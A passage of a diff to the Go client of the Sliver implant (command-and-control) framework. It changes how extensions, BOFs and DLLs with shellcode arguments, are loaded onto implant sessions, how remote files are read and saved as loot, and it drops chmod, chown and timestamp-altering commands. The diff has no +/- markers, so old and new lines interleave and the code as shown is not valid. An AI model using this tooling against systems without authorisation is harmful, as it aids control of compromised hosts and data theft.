extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return errors.New("missing `help` field in extension manifest")
}
}
return nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
loadedExtensions[extCmd.CommandName] = extCmd
//helpMsg := extCmd.Help
usage := strings.Builder{}
usage.WriteString(extCmd.CommandName)
//build usage including args
for _, arg := range extCmd.Arguments {
usage.WriteString(" ")
if arg.Optional {
usage.WriteString("[")
}
usage.WriteString(strings.ToUpper(arg.Name))
if arg.Optional {
usage.WriteString("]")
}
}
longHelp := strings.Builder{}
//prepend the help value, because otherwise I don't see where it is meant to be shown
//build the command ref
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
longHelp.WriteString(usage.String())
longHelp.WriteString("\n")
if len(extCmd.Help) > 0 || len(extCmd.LongHelp) > 0 {
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
if len(extCmd.Help) > 0 {
longHelp.WriteString(extCmd.Help)
longHelp.WriteString("\n")
}
if len(extCmd.LongHelp) > 0 {
longHelp.WriteString(extCmd.LongHelp)
longHelp.WriteString("\n")
}
}
if len(extCmd.Arguments) > 0 {
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
}
//if more than 0 args specified, describe each arg at the bottom of the long help text (incase the manifest doesn't include it)
for _, arg := range extCmd.Arguments {
longHelp.WriteString("\n\t")
optStr := ""
if arg.Optional {
optStr = "[OPTIONAL]"
}
aType := arg.Type
if aType == "wstring" {
aType = "string" //avoid confusion, as this is mostly for telling operator what to shove into the args
}
//idk how to make this look nice, tabs don't work especially good - maybe should use the table stuff other things do? Pls help.
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
// Command
extensionCmd := &cobra.Command{
Use: usage.String(), //extCmd.CommandName,
//Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
GroupID: consts.ExtensionHelpGroup,
Annotations: makeCommandPlatformFilters(extCmd),
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
// Flags
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
f.BoolP("save", "s", false, "Save output to disk")
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
extensionCmd.Flags().AddFlagSet(f)
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
// Completions
comps := carapace.Gen(extensionCmd)
makeExtensionArgCompleter(extCmd, cmd, comps)
cmd.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded {
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
depLoaded = true
}
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
if ext.Name == extName {
return nil
}
}
@@ -382,29 +217,43 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
//Init: ext.Init, ?
Request: con.ActiveTarget.Request(cmd),
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
@@ -415,58 +264,58 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
return nil
}
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := os.ReadFile(depBinPath)
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, cmd, con)
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[cmd.Name()]
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -479,136 +328,90 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
// extArgs := strings.Join(args, " ")
//legacy case - single string arg
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
}
extName = ext.CommandName
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf(callExtension.Response.Err)
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
var err error
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
missingRequiredArgs := make([]string, 0)
for _, arg := range ext.Arguments {
// If we don't have any positional words left to consume,
// add the remaining required extension arguments in the
// error message.
if len(args) == 0 {
if !arg.Optional {
missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
}
continue
}
// Else pop a word from the list
word := args[0]
args = args[1:]
switch arg.Type {
case "integer":
fallthrough
case "int":
val, err := strconv.Atoi(word)
if err != nil {
return nil, err
}
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val, err := strconv.Atoi(word)
if err != nil {
return nil, err
}
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
err = argsBuffer.AddString(word)
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
err = argsBuffer.AddWString(word)
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
data, err := os.ReadFile(word)
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
@@ -618,27 +421,10 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
}
}
}
// Return if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return parsedArgs, nil
}
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := os.ReadFile(binPath)
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
@@ -651,10 +437,6 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
if err != nil {
return nil, err
}
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
@@ -664,89 +446,18 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
return nil, err
}
return extensionArgs, nil
}
// CmdExists - checks if a command exists
func CmdExists(name string, cmd *cobra.Command) bool {
for _, c := range cmd.Commands() {
if name == c.Name() {
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
func checkExtensionArgs(extCmd *ExtCommand) error {
if 0 < len(extCmd.Arguments) {
for _, arg := range extCmd.Arguments {
switch arg.Type {
case "int", "integer", "short":
case "string", "wstring", "file":
default:
return fmt.Errorf("invalid argument type: %s", arg.Type)
}
}
}
return nil
}
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
var actions []carapace.Action
for _, arg := range extCmd.Arguments {
var action carapace.Action
switch arg.Type {
case "file":
action = carapace.ActionFiles().Tag("extension data")
}
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
if arg.Optional {
usage += " (optional)"
}
actions = append(actions, action.Usage(usage))
}
comps.PositionalCompletion(actions...)
}
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
filtersOS := make(map[string]bool)
filtersArch := make(map[string]bool)
var all []string
// Only add filters for architectures when there OS matters.
for _, file := range extCmd.Files {
filtersOS[file.OS] = true
if filtersOS[file.OS] {
filtersArch[file.Arch] = true
}
}
for os, enabled := range filtersOS {
if enabled {
all = append(all, os)
}
}
for arch, enabled := range filtersArch {
if enabled {
all = append(all, arch)
}
}
if len(all) == 0 {
return map[string]string{}
}
return map[string]string{
appConsole.CommandFilterKey: strings.Join(all, ","),
}
func init() {
commandMap = make(map[string]extensionCommand)
}
-109
View File
@@ -1,109 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
found, err := RemoveExtensionByManifestName(name, con)
if err != nil {
con.PrintErrorf("Error removing extensions: %s\n", err)
return
}
if !found {
err = RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
} else {
//found, and no error, manifest must have removed good
con.PrintInfof("Extensions from %s removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
func RemoveExtensionByManifestName(manifestName string, con *console.SliverConsoleClient) (bool, error) {
if manifestName == "" {
return false, errors.New("command name is required")
}
if man, ok := loadedManifests[manifestName]; ok {
//foudn the manifest
//delet it
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil
}
forceRemoveAll(extPath)
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
return false, nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+15 -38
View File
@@ -27,41 +27,32 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var filePath string
if len(args) > 0 {
filePath = args[0]
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
RestrictedToFile: true,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -73,48 +64,34 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
userLootFileType, _ := cmd.Flags().GetString("file-type")
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
con.PrintErrorf("%s\n", err)
return
}
}
if saveLoot {
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, fileType, cmd, con)
con.Printf("\n")
}
}
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
}
} else {
if phex, _ := cmd.Flags().GetBool("hex"); phex {
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
+6 -11
View File
@@ -21,29 +21,24 @@ package filesystem
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := "."
if len(args) == 1 {
filePath = args[0]
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
-87
View File
@@ -1,87 +0,0 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChmodCmd - Change the permissions of a file on the remote file system
func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
fileMode := args[1]
if fileMode == "" {
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
return
}
recursive, _ := cmd.Flags().GetBool("recursive")
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
FileMode: fileMode,
Recursive: recursive,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chmod.Response != nil && chmod.Response.Async {
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chmod)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChmod(chmod, con)
})
con.PrintAsyncResponse(chmod.Response)
} else {
PrintChmod(chmod, con)
}
}
// PrintChmod - Print the chmod response
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
if chmod.Response != nil && chmod.Response.Err != "" {
con.PrintErrorf("%s\n", chmod.Response.Err)
return
}
con.PrintInfof("%s\n", chmod.Path)
}
-95
View File
@@ -1,95 +0,0 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChownCmd - Change the owner of a file on the remote file system
func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
uid := args[1]
if uid == "" {
con.PrintErrorf("Missing parameter: user id\n")
return
}
gid := args[2]
if gid == "" {
con.PrintErrorf("Missing parameter: group id\n")
return
}
recursive, _ := cmd.Flags().GetBool("recursive")
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Uid: uid,
Gid: gid,
Recursive: recursive,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chown.Response != nil && chown.Response.Async {
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chown)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChown(chown, con)
})
con.PrintAsyncResponse(chown.Response)
} else {
PrintChown(chown, con)
}
}
// PrintChown - Print the chown response
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
if chown.Response != nil && chown.Response.Err != "" {
con.PrintErrorf("%s\n", chown.Response.Err)
return
}
con.PrintInfof("%s\n", chown.Path)
}
-108
View File
@@ -1,108 +0,0 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ChtimesCmd - Change the access and modified time of a file on the remote file system
func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
ATime: unixAtime,
MTime: unixMtime,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if chtimes.Response != nil && chtimes.Response.Async {
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, chtimes)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintChtimes(chtimes, con)
})
con.PrintAsyncResponse(chtimes.Response)
} else {
PrintChtimes(chtimes, con)
}
}
// PrintChtimes - Print the Chtimes response
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
if chtimes.Response != nil && chtimes.Response.Err != "" {
con.PrintErrorf("%s\n", chtimes.Response.Err)
return
}
con.PrintInfof("%s\n", chtimes.Path)
}
-82
View File
@@ -1,82 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
